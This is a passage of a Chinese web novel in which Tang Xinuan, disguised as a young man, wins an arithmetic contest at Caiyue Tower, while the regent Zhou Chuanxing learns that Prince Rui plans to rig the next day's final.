唐兮暖不会记仇。 而且刚才孙卿兆说过要送她一步青云梯，她想着，孙卿兆可能是为她好。 “没事，一会重新参赛就是了。” 孙卿兆颇感意外，还以为寒兮会怨恨他。 那他会把自己想象成一个不被理解势要托举好朋友的苦命形象。 寒兮这轻描淡写的，他反倒不知道怎么往下进行了。 小倩把自己的位置让给端王，这会走到孙卿兆身边继续骂：“你个没心没肺的坏人，我们家公子帮你，你竟然恩将仇报。” 端王凉凉的瞥向孙卿兆，“怎么回事？” 小青生气道：“我们刚来的时候，孙卿兆跟个花子似的，老板都不许他进门，是我们家公子让连翘给他买了衣服，又请他吃饭，他才能进来比试，这才得个第一名就举报我家公子作弊，您说他是不是忘恩负义？” 端王皱眉：“这是真的？” 孙卿兆不认识端王，他只跟唐兮暖说：“我这是在帮你。” 唐兮暖懵懵懂懂的：“怎么说？” 孙卿兆有理有据：“今天过后，你就会名满京城，摄政王刚下诏令，今秋科举增加一科算学，可见朝廷迫切需要懂算学的人才。 只要你的名气打出去，肯定会传到摄政王的耳朵，到时候你就可以直接入朝为官。 你说，我这是不是在帮你？” 端王险些笑出声，没想到孙卿兆打的是这个主意。 脑子倒是很好使。 紫苏和连翘也都开始转变态度。 小倩还是担心，“万一我们公子这次没算对呢……” 孙卿兆没想过这种可能，“那就是天意了。” 紫苏给了小倩一个眼神。 小倩忽然反应过来，“呸呸呸，我们公子肯定能算对。” 有人认出端王，疑惑他怎么坐到了寒兮身边。 不过第九组结束后，他们就想明白了。 端王喜欢楚三小姐不是秘密，尤其皇亲国戚圈子里。 待楚衍晴一出场，端王的眼睛恨不得扣下来扔人家身上，还有什么想不通的。 这是奔着楚衍晴来的。 第十组原本不够十人，算上唐兮暖和孙卿兆正好。 楚衍晴坐到第一排。 唐兮暖恰好在她身后。 所以楚衍晴又没见到她。 朝栎挤到端王身边，给楚衍晴加油。 “怎么你一个人下来了，二哥呢？” 端王往楼上瞥了一眼，不由得皱起眉，“他怎么来了。” 朝栎也看过去，不知道四哥什么时候来的，就坐在周川行旁边，“四哥？” 端王呵笑：“他脑袋可真尖，哪里有热闹哪里有他。” 皇上、周川行、端王和朝栎是一母同胞。 睿王排行第四，是德太妃所生。 德太妃今年还不到四十岁，身体十分硬朗。 皇上病重后，前后朝她可没少忙乎，就想让她儿子上位。 不过睿王没有兵权，再加他年纪小，威望不够，有周川行在，大部分朝臣都没考虑过他。 周川行摄政这一年来，他可没少使绊子。 周川行不愿意计较，端王早看不过去了。 过年那段时间，两人险些动手。 这会看见睿王坐在二哥身边，脸色拉的老长。 “朝栎，你上去看看，你四哥一肚子坏心眼，别让二哥着了他的道。” 朝栎反问道：“你怎么不去！” 端王看了一眼楚衍晴，“你想不想要三嫂了。” 朝栎比划一个明白的手势，“那就祝你早点抱得美人归了。” 她说完，提着裙子往楼上跑去。 “你们看了吗，那个姓寒的，他竟然不用算盘。” “这次不是又想作弊吧。” “不应该，举报他的人也在这呢，肯定会盯死了他。” 最后一组在满场瞩目下，终于开始了。 因为有两人重新入赛，这组格外紧张刺激。 所有观众都紧紧盯着场上。 连那些吃瓜子的，喝茶的，交谈的全都停止了。 “你们看了吗，他好像不用算盘也能算。” “这得多聪明才能凭着心思算出来。” “要我看，他就是装样子的，能算出来有什么用，那得算对呢。” “不是吧，报数小姐刚喊完，她已经摇铃了。” “有人还在记录数字，一个一个算呢，他就出结果了？” …… 唐兮暖确实出结果了。 这次她没提前算，毕竟有李饕餮忽然减少数字的情况，她不确定这次会出多少数字。 第一个摇铃完毕，孙卿兆紧接着摇响铃声。 楚衍晴是第三个。 她把算盘珠子扒拉的飞快，报数小姐报完，她已经算出结果。 不过比唐兮暖和孙卿兆晚了一步。 “好几个人都出结果了，他还是第一个。” “看他算的对错吧，别是糊弄我们的。” “反正我是不信，有人可以不用算盘珠子就能算出那么复杂的数字。” ……—— 作者有话说：李貔貅：马屁拍马蹄子上了 红包随机 零点后还有一章 第33章 报数小姐翻到最后一页,是这组数据的正确答案。 由彩月楼的老账房先生算了三次确定的结果。 答案公布后，所有观众的目光齐刷刷投向唐兮暖。 “和答案一模一样。” “天啊，她竟然算对了。” “这怎么可能,别人都用算t盘，她的算盘动都没动，这不科学。” “他不会是仙童下凡吧,否则怎么能这么聪明。” “我不信，我不信，难道我是来人间凑数的。” …… 现场惊叹怀疑之声不绝于耳。 唐兮暖仿佛没听到一般，她满脸得意的看向孙卿兆。 “这回你还有什么话好说。” 孙卿兆起身，面露愧色地行拱手礼，“是在下小人之心，嫉妒公子才学，一时情急看错了，公子博学多才，是大周朝最聪明的人。” “你们看了吗,是孙卿兆嫉妒人家答的又快又准。” “现在给人家道歉了。” “原来是嫉妒啊。” “这个寒公子可真了不起，我要是被人诬赖,气都气死了,可你看人家，脸不红心不跳,稳得很，又拿了第一名。” “这是什么神仙公子,有没有婚配，我要给他生猴子。” …… 孙卿兆一顿骚操作，将所有人的目光吸引到了唐兮暖身上。 第一场比赛还没结束，她已经成为整个彩月楼最受关注的焦点。 端王终于反应过来了。 这个孙卿兆还真是个歪才。 周川行坐得远,刚才公布结果的时候，一向稳重如他都站起来了。 连累的睿王也跟着起身。 “二哥，你在看什么？” 周川行自然不会告诉睿王。 “随便瞧个热闹。” 睿王没发现下边有什么能吸引二哥的热闹。 他凑到二哥身边，顺着他的目光看下去。 楚衍晴曼妙的身姿正好被他收入视野。 楚衍晴人长得漂亮，更有一种恣意张扬不受约束的青春感。 睿王调侃的口吻，“二哥不会是喜欢楚三小姐吧。” 周川行随口说道：“四弟不是要大婚了，准备怎么样了？” 睿王没回他，反而说道：“二哥如果喜欢的是楚三小姐，只怕你们两个修不成正果。” 周川行皱眉：“四弟也看上她了，要跟我争？” 睿王嗤了一声，“我有王妃了，争什么，只不过提醒二哥一句，皇后是不可能让楚家姑娘嫁进皇室的。” 周川行这些年一直在外带兵打仗，去年才回朝。 政事都忙不过来，这些后宅的事情就更不清楚了。 “为什么？我记得楚家二小姐就嫁给皇后的娘家了吧。” 睿王就知道二哥不清楚这里边的弯弯绕。 不过他也不打算说明，只给出一句模棱两可的说辞，“侯夫人可是唐家人。” “二哥，四哥，你们都在啊，”朝栎公主费了好大劲才挤过来。 “在说什么？” 周川行如实说道：“你四哥让我离楚三小姐远点，皇后不会同意这门亲事。” 朝栎满脑袋雾水，二哥要提亲了吗？ 她怎么没听说。 而且三哥喜欢楚三小姐啊。 人家现在就在楼下盯着，一双眼睛都要黏人家身上了。 不过皇后不同意这门亲事，她倒是想到些原因。 “二哥，侯夫人的娘家唐家被满门抄斩，表面是因为唐家贪赃枉法，害死人命，可我听说，当年唐家先弹劾的国丈，不知道怎么回事，国丈好好的，唐家却被满门抄斩，只留下一个傻姑娘。” 傻姑娘就是一直养在侯府的唐兮暖。 这件事，朝栎以前听过一点八卦，不过没往心里去。 前段时间在宫里举办宴会，邀请京城所有贵女进宫，她看唐兮暖长得漂亮，事后特意调查过，才知道这段隐情。 不过已经十几年的事了，她打听到的也未必准。 如果情况属实，唐家和皇后是有血海深仇的。 侯府是唐家的姑爷，肯定会被皇后忌惮。 而且当年唐家出事的时候，大哥还不是皇上，皇后也不是皇后。 国丈更不是国丈了。 那个时候，唐家和侯府都奈何不了国丈。 现在皇后身居高位，唐家都没人了，楚家更翻不了什么大浪。 只不过皇后会一直压制着楚家，绝不会让他们和皇子联姻。 尤其周川行是摄政王，皇后更不会同意了。 朝栎分析完，又回到刚才的疑问，“二哥，你到底什么想法，三哥喜欢楚三小姐，你还是换别人喜欢吧。” 周川行颇为无语地戳了下她的小脑袋，“自己还没婆家，有时间操心这些，不如好好为自己打算。” 随着第十组所有参赛者的得分核算完毕，第二轮比赛正式开始。 顺利通过第一轮，能参加第二轮的参赛人员共有五十七人。 这次就不分组了，所有人一起上。 彩月楼也只准备了一道题。 因为一起参赛人员太多，围观群众又占据了厅堂大部分位置，没办法摆开五十七张桌子。 李饕餮便让这五十七人分散在观众里。 但又不能太远，否则听不清报数员读题。 唐兮暖还坐自己的位置。 李饕餮生气孙卿兆找麻烦，故意把他放到最远处的地方。 比赛开始。 报数小姐掀开画板上的红色绸布，将早准备好的题目露出来。 讲完比赛规则后，她语速不急不缓，提高声音连读两遍题目。 她话音还没彻底落下，唐兮暖已经把答案写到了纸上。 随后摇响铃声。 这次小倩站在她身边，亲眼看见她写下答案。 之前她一直不相信小姐能算出结果。 因为她从小跟着小姐一起长大，大家都认为小姐是傻子。 她很自然的也就认为小姐不够聪明。 毕竟小姐穿不好衣服，什么事情叮嘱好几遍还会犯错，被人欺负不会反抗，不懂人情世故，还不会保护自己。 就连世子都觉得小姐是傻子，不让她当正妻，不让她生孩子。 小倩生活在这样的环境里，自然忽略小姐擅长的一面，把她的不足放大，甚至认定她就是那样的人。 今天的小姐，先被孙卿兆质疑，又被围观群众要求重新参赛，两次拿到第一名，彻底惊到了她。 小倩脑海里逐渐浮现出前些年府里先生教小姐读书识字的情景。 听说是一位很有才华的老先生。 可世子不喜欢他，认为他只是一个坑蒙拐骗的老学究。 不过小姐和三小姐都很喜欢他，跟着他学了很多年。 世子爷只去听过两回课，就要把人赶走。 是小姐不停地哭鼻子，非要老先生教她。 世子爷才把人留下来。 小倩伺候小姐的时候，去过几次课堂，老先生夸小姐是天才，大周朝最聪明的姑娘。 当时的小倩想着，肯定是老先生舍不得侯府给的束脩，哄着小姐留下来。 故意把小姐夸得天花乱坠。 现在想来，只怕老先生确有才学，真心实意地在夸小姐。 唐兮暖摇铃不久，孙卿兆也摇响了铃声。 李貔貅两只眼睛都看不上他，只当没听见。 还是孙卿兆旁边的人冲他大声喊，“孙卿兆也完成了。” 李貔貅才不情不愿的让记分员统计。 没想到他一个臭花子竟然还有几分能耐。 果然人不可貌相。 楚衍晴是第四个摇铃的。 端王眼里满是惊喜，小姑娘一袭紫色长裙，信心满满又骄傲十足，他怎么都感觉楚衍晴又比往常漂亮了几分。 “行啊你，竟然还能算出这么复杂的问题。” 楚衍晴瞧了眼脑袋空空的端王，“你怎么不说你笨。” 端王狠狠瞥她一眼。 “蹬鼻子上脸！” 楚衍晴嘲讽他：“有能耐，你也给我算出一道。” 端王自然是算不出来的，他没学过算学，加减法勉强过关，乘除法就难办了，毕竟光九九表他就背了半个月。 父亲过世的早，母亲身体不好，大哥上位后内忧外患，二哥常年征战，他和小妹忙着活命都很不容易，哪有时间搞学问。 还是最没用的算学。 “没你能耐。” 第二轮比赛结束，只有二十一人晋级。 唐兮暖是第一个答对的，计五十七分。 孙卿兆是第二个，计五十六分。 楚衍晴是第四个，计五十四分。 …… 最后一轮了。 现场摆下二十一章桌子，每人坐一张。 唐兮暖又在楚衍晴身后。 这次的题目是说一名布桩老板近两个月明明很忙，可每个月都入不敷出。 已知各种布料的采购成本，每匹布料的破损，营业额，人员工资、房租、伙食费等各项支出，问他的伙计中饱私囊了多少银子？ 这个题目一出来，彩月楼的账房先生慌了。 左思右想，这两个月他做的都很隐秘，不该被发现。 可他总觉得李貔貅在怀疑他。 楚衍晴参加第二场比赛的时候，感觉自己算的很快，可还是排在第四。 第三场题目一出来，她心里就踏实了。 这两年帮着母亲管理中馈，侯府也有几家铺子，她是亲自查过账的，这种题目对她来说t，可以说手到擒来。 加加减减很快算出结果。 可还没等她写到纸上，就有人摇响了铃铛。 也不知道什么人这么迅速。 她不敢耽搁，急急忙忙把答案写好，去摇铃铛。 几乎和她同一时间，还有一人摇响铃铛。 她把答案扣到桌子上，转身去找摇铃人。 谁知道那么巧，端王正好挡住他的视线。 楚衍晴无语瞥他一眼。 端王也不当回事，还给她竖了个大拇指。 楚衍晴忍不住用嘴型骂他：“渣男！” 通过第三轮的选手只有十人。 唐兮暖以每轮都是第一的成绩稳稳占住第一位。 孙卿兆屈居第二。 楚衍晴总分还是第四。 她距离第三只差一分。 吃亏在唐兮暖和孙卿兆第一轮比赛都参加了两次。 否则第十组，她应该排在第二。 至少能加两分。 这样她总分就比第三名高了。 好在明天才是决赛，现在不是最终成绩。 然后端王和李貔貅吵起来了。 “凭什么寒兮和孙卿兆放在第十组参加比赛，挤掉了楚三小姐的名次，否则她还能加两分，那她就是第三了。” 李貔貅：“……” 他可惹不起端王。 可他们彩月楼比赛，虽然经过很多人策划，到底是娱乐为主的比赛，难免出现漏洞。 “王爷，”李貔貅都快哭了，“您说怎么办？” 端王毫不犹豫道：“寒兮和孙卿兆还算在原来的组，第二次比赛不算成绩，第十组每人自动往前排两名。” 整体成绩排在第三位的姚麒麟不愿意了。 “要是这么说，第十组才八个人，第一名应该是八分才对。” 端王不知道还能这么算。 “你，放肆！” 关键时刻，他干脆端出端王威严。 姚麒麟根本不怕他，“怎么，仗着王爷身份尊贵，欺负人？” 端王还想再说，被楚衍晴拦住了。 她可不想被好几百人当成猴子围观。 “第四就第四，今天又不是决赛，明天我们再比。” 最终以楚衍晴不计较结束了这场争论。 唐兮暖第二轮比赛时就看见了楚衍晴。 待第三轮比赛结束，她拉着小倩急急忙忙躲到人群后边去了。 明天的比赛还定在同一时间，今天的比赛彻底结束。 所有通过第一轮且没进决赛的找账房先生领二两银子。 通过第二轮没进决赛的，再领三两银子。 小倩为防止三小姐发现她家小姐，比赛刚一结束便拉着她挤出门。 “公子，我们快走，三小姐忙着比赛没见到您，再耽误下去可就不好说了。” 唐兮暖倒是不怕表妹见到她。 只是不想给表妹惹麻烦。 也不知道怎么这么巧，小倩刚一出门，就见世子爷抱着酒葫芦蹲在墙角。 今天来彩月楼看热闹的人太多，如果不是两个侍卫紧紧把他挡住，估计被人踩成肉泥了。 小倩吓一跳，赶紧拉着小姐重新进屋。 唐兮暖没见到楚衍诺，只看见小倩脸色不好，“怎么了？” 小倩低声道：“世子爷，世子爷就在外边。” 唐兮暖可不想再回侯府，过那种只能呼吸侯府空气的日子。 她比小倩还紧张，只管逆着人流往里边挤。 活动结束，所有人都往外走，两个人太过瘦小，被人群带着根本不受自己控制。 幸好有人挡住了这股人流。 随后两人头上都多了一顶斗笠。 “公子，”小倩高兴坏了，“我们可以出去了。” …… 楚衍诺这些天把整个京城翻过来又翻过去好几遭，可表妹就像长出翅膀飞走了。 无论他怎么找，连个影子都见不到。 这会他醉醺醺的抱着酒葫芦挤在人群里，见人就扒拉，问人家有没有见过一个长得特别美特别美的姑娘。 被人嫌弃地推过来推过去。 之后他倒在墙角，一直憋屈到现在。 表妹连自理都不会，又长那么漂亮，她一个人跑出来，肯定会被人觊觎…… 想到这些，他一颗心仿佛被人攥紧拧成麻花，痛到不能呼吸。 “来人……”发现人潮涌动，他忽然挣扎着起身，“把京城所有青楼、赌场、饭店酒楼全都给我查一遍。” 他就不信，他找不到表妹。 “表妹，你等等我，等等我，我一定会找到你，一定会找到的。” 此时，唐兮暖被人群拥挤着，和楚衍诺擦身而过。 她紧张到手心冒汗，幸亏她身穿男装，又戴着斗笠，表哥没认出来。 “寒公子，”唐兮暖打算尽快回宫，却不想被人拉住手腕。 竟然是孙卿兆追了出来。 她下意识抽回，“孙公子……” 孙卿兆完全被唐兮暖的聪慧所折服，可惜他身上没银子，否则他一定要拉着唐兮暖去最贵的酒楼吃最贵的饭菜。 “我们已经是朋友了吧，你叫我卿兆或者……我应该年长你几岁，你喊我孙大哥也行。” 唐兮暖眼睛一亮，“我们是朋友了？” 孙卿兆有些不好意思，刚才他在别人眼里可是一个花子。 “如果你不嫌弃我刚才的样子……” “不嫌弃，不嫌弃，”唐兮暖高兴极了，“你是我第二个好朋友。” 孙卿兆底气特别足的说道：“你放心，我肯定会出人头地，绝对不会辱没了你这个朋友。” 唐兮暖心里没有尊卑贵贱。 不管对方什么身份，只要真心跟她交往，她都愿意。 “既然是好朋友了，那我们接下来应该做什么？” 紫苏被人群隔开，担心唐兮暖被人碰到，急得大热天直冒冷汗。 这会终于赶到了她身边。 “公子，时间可不早了，这都过了中午饭点，我们得回去了。” 唐兮暖抬头看了一眼太阳，“是该回去了，那我新交的朋友怎么办？” 紫苏不怎么喜欢孙卿兆，自然是把人赶得越远越好，“明天还要比赛，孙公子肯定要回去温习功课，我们不能打扰他了。” 唐兮暖诧异道：“那我不能带他回家吗？” 紫苏：“……” 唐姑娘出来一次就带个臭男人回去，王爷舍不得责备唐姑娘，还不得扒了她和妹妹的皮。 此时连翘也挤出来了，她狠狠瞪了一眼孙卿兆，“卑鄙小人！” 转而拉着唐兮暖往停马车的地方走，“公子，您得回去吃饭了，晚了我和姐姐就要受罚了。” 唐兮暖走了几步，总觉得有事放不下。 待她快到马车旁边的时候，终于想起来了，“对了，孙大哥没有银子，你给他送些过去。” 她吩咐连翘。 连翘不愿意去，“凭什么啊，咱们刚才帮他，他还诬赖您作弊，他就是个小人。” 唐兮暖不这么想，“他说了，他要我送我一步青云梯。” 虽然她不知道青云梯是什么，可听名字就不错。 “你不去，我去。” 连翘只能举手投降，“好，我去。” 她从兜里摸出二两银子，隔着一段距离扔给孙卿兆，“别饿死了，明天参加不了决赛。” 孙卿兆这次没有谦虚，干脆利落收了银子。 脸面对他来说已经算不了什么，明天拿到名次，好好报答寒公子。 唐兮暖和小倩等人找到马车。 正要爬上去，就见旁边的马车帘子打开，周川行温和含笑地朝她摆手，“过来。” 唐兮暖赢了比赛，又交了好朋友，正高兴着，见到周川行，笑容逐渐放大，满脸都是想跟他分享的喜悦。 “二郎，你怎么来了。” 她跑过去，抓着周川行的手爬上马车。 之后跟他讲今天所发生的趣事。 “二郎，你没看见我刚才参加了比赛，彩月楼评选大周朝最聪明的人，你猜我得了第几名？” 周川行观看了全程，怎么可能不知道小姑娘第几。 他故意说：“第五？” 唐兮暖挨着他坐下，笑得既甜又得意，“不对，你再猜。” 周川行继续逗她，“那就是第……三名。” “不对，不对，还是不对，再猜，再猜。”唐兮暖脸上的笑容越发灿烂。 周川行看着看着，不由得恍惚起来。 只怪相识太晚，否则小姑娘的人生应该更加灿烂才对—— 作者有话说：红包随机 第34章 唐兮暖一直觉得周川行不够聪明。 给他三次机会都猜不到自己拿了第几名。 “不对不对,都不对，我得了最高分，是第一名。” 周川行被她明媚的笑容感染,心情也跟着好起来。 “就知道我们暖暖是天底下最聪明的姑娘。” 唐兮暖被夸了，越发开心，“今天才是初赛,明天还要决赛呢，等我明天拿了第一名，能得到一百两银子的赏金，二郎，我都送给你好不t好？” 周川行眉眼里全都是宠溺的笑，“自己一点不留？” 唐兮暖点了点头，“你是我交到的第一个朋友，所以全部给你。” “能做暖暖的第一个朋友，二郎荣幸之至，”周川行真心实意地说道。 唐兮暖还有高兴的事分享,“对了，我交到了第二个朋友,他叫孙卿兆。” 周川行一直坐在楼上,自然注意到小姑娘和孙卿兆来往的事。 端王还提醒他，别被人挖了墙角。 他一直相信小姑娘有自己为人处世的原则。 什么样的人应该处到什么程度,她是有分寸的。 只不过没人给她机会，让她去分辨。 “暖暖,”周川行心里当然是不舒服的，男人对他喜欢的姑娘都有很强的占有欲。 他也不例外。 可他得让她学会人情世故，学会生存。 “你交了新朋友，会不会把我忘了。” 唐兮暖毫不犹豫道：“怎么会,你是我最最最重要的朋友，我永远都不会忘了你。” 周川行心里多少受到些安慰。 “那如果我们两个掉河里，你先救谁？” 唐兮暖遗憾道：“好可惜，我两个都救不了呢，我不会游泳。” 周川行：“……” “那你只有一块糖，送给谁？” 唐兮暖反问道：“你喜欢吃糖吗？” 周川行不怎么喜欢吃甜食，可他现在要的答案不是这个。 “你给的就喜欢。” 唐兮暖从小荷包里翻出一颗，亲手扒开送到他嘴里，“只有一颗，给你。” 周川行张嘴接了她的糖，薄唇碰到她柔软的手指，心口闪过一丝火热。 他正是血气方刚的年纪。 却只能忍着…… 唐兮暖忽然想起一件事，“对了，孙卿兆刚才诬赖我作弊，小倩和连翘都很不喜欢他，可是我觉得他不坏。” 周川行顺着她的思路问道：“为什么这么想？” 唐兮暖有些苦恼：“他问我有没有官职，说是送我一部青云梯，青云梯是什么意思？” 周川行刚才注意到唐兮暖对于诬陷她的孙卿兆很友好，想来其中有原因。 竟然是这样的。 这个孙卿兆竟不是一个简单的角色。 “他的意思是，如果你想做官，他通过这种方式让你闻名京城，会得到朝廷的注意，没准不通过科举就能当官。” 这么深的谋略，显然超出了唐兮暖的认知。 “为什么出名了朝廷就会注意，就能当官？” 周川行继续给她解释：“我们大周朝打了几十年的仗，十几年没有开过科举了。 这些年朝廷选拔官员，都是通过朝臣举荐。 而朝臣举荐的人，要么是自己的亲戚，要么是自己的学生，要么就是很有名气的学子，还有一些特殊关系的。 如果你出名了，就会有朝廷大臣注意到，没准就会举荐你入朝做官。” 唐兮暖明白了，“原来是这样，我说他不像坏人，怎么会忽然诬赖我，原来这就是青云梯。” 她真心夸赞道，“那他好聪明。” 周川行心口被狠狠戳了一下。 “小没良心的，我都知道青云梯什么意思，我不聪明？” 唐兮暖专门戳他的痛楚，“你都猜不到我得了第一名。” 周川行无奈苦笑。 唐兮暖又道：“你还很小心眼儿。” 周川行无语极了，“这话怎么说的。” 唐兮暖：“你说送我书，又要回去，不是小心眼。” “这事过不去了，”周川行哈了口气要瘙她痒痒肉，唐兮暖吓得急忙躲开，“难道我说错了。” 周川行把人拉过来，让她靠着自己，“那我不是想多见见你，可惜你个小没良心的，一次都没来，我把那几本书都翻旧了。” 唐兮暖眨着懵懂的眼睛，“真的？” 周川行委屈的点头，“当然是真的。” 唐兮暖心口仿佛被什么刺痛一下，“是我忘记了。” 周川行担心她回忆起以前不好的事情，转移话题，“饿不饿？” 唐兮暖忽然听到肚子咕噜咕噜叫起来，她可怜巴巴的望着周川行，“好饿。” 周川行将旁边的食盒拿给她，“先垫垫肚子，我们今天回家吃饭。” 唐兮暖很自然的以为家指的是皇宫。 不过她想错了。 马车很快进了一座很大的宅子，她下车才发现不是皇宫，“这是哪里？” 周川行回她：“这是王府，皇宫不过是我们偶尔住的地方，这里才是我们的家。” 唐兮暖还以为住皇宫是理所当然的事。 “那之前我们为什么住皇宫？” 周川行特别耐心地跟她解释，“宫里有太医，方便照顾你。” “原来是这样，”唐兮暖飞快地把王府打量一遍，觉得哪里都漂亮，“我喜欢这里。” 午饭早已经准备好，全都是唐兮暖的口味。 她和周川行一起吃的。 今天出门活动量大，她身体又没好彻底，早超出她的身体所能承受的。 午饭过后，她便回房间睡觉去了。 这一觉一直睡到天黑。 醒来后，周川行把她带到大厅。 “园子大，有时间慢慢转，现在带你见见府里的人。” 魏公公是王府大管家，召集府里所有有身份的宫女、太监等在大厅里。 见到王爷，谨慎小心地行礼。 周川行只有一句话：“以后，唐姑娘就是你们的女主人，待她要比待本王更加用心，否则你们知道本王的手段。” 魏公公等人急忙跪下行礼。 唐兮暖第一次面对这么大阵仗，有些无措，“我应该怎么回他们？” 周川行柔声道：“想怎么做都行，咱家你就是规矩。” 这话听着舒心。 唐兮暖琢磨片刻，摆了摆手：“你们起来吧，该做什么就做什么去，我这里有小倩呢。” 周川行都依着她，“都下去吧。” 魏公公留着伺候。 “王爷，唐姑娘，饭菜准备好了，吃些吧。” 唐兮暖还不饿，周川行让她多少吃些。 入睡总要吃一顿，太晚了容易积食。 唐兮暖从善如流，和周川行一起来到餐厅。 饭菜准备的不多，不过每一样都很精致。 唐兮暖又没少吃。 饭后两人随便转了转。 张太医过来诊脉，周川行便把人送回了房间。 “唐姑娘恢复的还不错，”张太医带着药过来的，“明早熬好给她服下，七天内都是这个方子，七天后我再根据情况调整。” 周川行问道：“这样的话，我们就不用住在宫里了吧。” 张太医小心回他：“唐姑娘已经稳定，我每天过来请脉也是一样的。” 宫里都是皇上的妃嫔，周川行一个成年男子住着不方便。 “那就有劳张太医了。” 张太医走后，唐兮暖问周川行，“我们以后不住宫里了？” 周川行征求她的意思，“如果你喜欢，还是可以住的。” 唐兮暖摇了摇头：“我不喜欢，我喜欢这里。” 她只是有些舍不得三个大宫女。 “那芍药、白芷和半夏呢？” 周川行笑了：“你喜欢她们？” 唐兮暖确实喜欢她们，“嗯。” 周川行大方道：“又不是什么难事，我明天就把她们带回来。” 唐兮暖逐渐融入正常人的生活，心思自然也多了起来。 “那她们来王府办差和在宫里办差待遇一样吗？她们会不会不愿意？” 周川行很高兴小姑娘能这么想，虽然有怀疑他能力的嫌疑。 自从侯府出来，他发现小姑娘成长迅速。 其实像小姑娘这么聪明的人，怎么会被人当成傻子。 只有一个原因。 那就是被人看管太严，和社会脱轨，完全没融入进这个世界里。 这才几天，已经学会从宫女的角度思考问题了。 “考虑的还很挺多，”周川行点了点她的小脑袋。 “我会征求她们的意思，如果她们不愿意我不会勉强。 而且在王府和在宫里的月银是一样的，只不过晋升机会没有宫里多。 另外我每个季度会允许她们回家一趟，这在宫里可是享受不到的。” 可以经常回家，多少银钱都买不到的机会。 唐兮暖换位思考一下，如果她的父母健在，她还是很愿意的，哪怕月银低些。 “你真好，二郎。” 周川行忙乎了这么多天，就为这一句。 “要不……抱抱？” 唐兮暖眨了眨眼睛，狡黠地往后一退，“不要，你说了不能随便和男人接触。” 周川行：“我不一样。” 唐兮暖才不信，她弯着腰，仰着头，凑近周t川行把人仔细打量一遍，“不是两只眼睛，一只鼻子，一张嘴巴，哪里不一样。” 周川行不过开个玩笑。 别说小姑娘的身体不允许，就算两个人的身份，他也不能放纵自己。 一旦有了身体接触，很容易控制不住冲动。 还是尽量保持距离吧。 “累不累，明天还要参加决赛，早点睡吧。” 唐兮暖睡了一下午，一点睡意都没有。 不过明天参加决赛，她得用最好的状态参加。 “那，你也早点睡。” 周川行目送小姑娘离开，神情有些失落。 像他这个年纪的男人，早已成亲不说，孩子都满街跑了。 可他的小姑娘还没成熟。 不过也不是没有惊喜，唐兮暖去而复返，忽然抱住他拍了拍他的后背。 随后飞快跑开了。 周川行无奈一笑。 不知道老天爷要折磨他到什么时候。 “二哥，傻笑什么呢！”端王忽然出现，瞧着一脸闷骚的二哥，不无嘲讽道。 周川行收回笑脸，“朝栎回去了？” 可以说朝栎是端王带大，他对这个妹妹比对自己都上心。 “送回去了。” 周川行又问：“看过皇兄了？” 端王点了点头，“还是老样子，也不知道什么时候能好。” 往常周川行每天都会去看皇上，有时候住在宫里，一来方便处理朝政，再者就是能随时去看皇上。 他每天都盼着皇上能够醒过来，他好早点卸掉身上的担子。 可皇上都病一年多了，最近几个月清醒的时候少，昏睡的时候多，太医不敢明说，可他看得出来，皇上大概很难醒过来了。 “对了，二哥，”端王刚才听到一个消息，“彩月楼明天的决赛，前三名都内定了。” 周川行纳闷道：“怎么回事？” 端王把听来的消息如实转述给周川行，“我听说是四弟找了彩月楼的老板，前三名都是四弟的人。” 周川行还是疑惑：“这对四弟有什么好处？” 端王笑道：“孙卿兆都知道给嫂子扬名，四弟怎么可能想不到。尤其你今天出现在彩月楼，他认定前几名会被你破格招入朝中，可不得换成自己人。” 周川行以前不愿意做兄弟阋墙的事。 而且四弟年纪小，他作为哥哥，总觉得自己有照顾他的义务。 尤其这些年自己在外领兵打仗，很少见到亲人，对兄弟亲情尤为看中。 周川行坦荡，可别人不这么想。 如今皇上病入膏肓，他又没有儿子，这大好的江山肯定要交给哪个兄弟。 至于谁是荣登大宝那个，可不就得各凭本事。 周川行手握兵权，又是皇上一母同胞的亲弟弟，按理是最合适的人选。 可睿王有德太妃撑腰，他又一直长在京城，早开始经营人脉，朝中关系错综复杂，经过多年筹谋，他拉拢了不少朝中大臣。 虽然和周川行这种真刀真枪拼出来的战功没法比，也有了不少支持者。 肯定不会甘心做一辈子王爷。 随时随地往朝中安插自己的关系。 竟然连彩月楼组织的民间活动都不放过。 周川行去彩月楼纯粹是因为唐兮暖，根本没想过从中寻找几个有才学之士，收为己用。 不过被睿王这事提醒，好像也不是不可以。 “都定了什么人？” 端王回道：“今天选出来的前十名中有两个，还有一个没进决赛的，说是明天要加一场复活赛。” 周川行无语道：“他玩的还挺花。” 端王问道：“现在我们怎么办？” 周川行肯定不会让睿王如意，“这内定也得有个由头，他们是怎么操作的？” 端王还真查这事了，“题目已经定好，我听说还挺难的，四弟甚至找楚世子要出前段时间户部安置流民的方案。 这么难的题目，户部算了那么久都没整明白，还是唐姑娘修改的。 明天应该没人能答出来。 唐姑娘就算记得，也需要时间，而他们提前背好了，肯定又快又准。” 周川行问道：“只有一道题？” 端王：“不是，三道呢，户部问题只是一道。” 周川行让他放心，随后将手指放在唇边吹响口哨。 很快从乌漆嘛黑的房顶飞过来一个黑影。 黑影两脚勾在房顶上，倒挂金钟一般，一张戴着鬼面的脸凑到周川行面前。 “主人，你要我干什么？” 周川行耳语几句，摆摆手：“去吧。” 鬼面像长了翅膀一般，转眼间就消失在了浓浓的夜色里。 端王不准备走了，他要住在摄政王府。 都是没爹没娘的光棍，又没妻小，回去也是一个人。 摄政王府有端王的房间，像回自家一样，端王和周川行聊完便往自己房间走。 周川行不是好眼色瞥向他：“没跟你开玩笑，两个月内必须解决亲事。” 端王看出来他二哥是认真的。 兄弟三人都没儿子确实不好。 老四马上就要成亲，不出意外，三年抱俩肯定没问题。 皇上指望不上，二哥不打算要孩子，所有压力都给到他这边。 “要不……让小妹随便给我张罗一下，封个侧妃得了。” 周川行懒得管他的感情问题，“你自己觉得没问题就好。” …… 如果说彩月楼举行比赛选出大周朝最聪明的人，昨天只有一部分人知道，今天连犄角旮旯的小动物的耳朵都磨出了茧子。 甚至有人拿这事组织了赌局。 进入决赛的十名选手，谁最有希望拿到前三名，被他列到画板上。 所有观众都可以为自己看好的选手下注。 赢了有奖。 昨天唐兮暖得分最高，今天下注投她的人自然最多。 其次便是孙卿兆。 楚衍晴作为“唯一”进决赛的女子，也收到不少投票。 当然，这种下注结果，一直到睿王到来时截止。 他拿出一千两银票，直接买内定的第一名。 “本王，投他。” “王爷，他昨天才得第九，想拿第一名，差的有点远吧。” 睿王故意保持几分神秘，一笑，“据本王所知，他昨天是故意隐藏实力，今天肯定能拿第一名。” 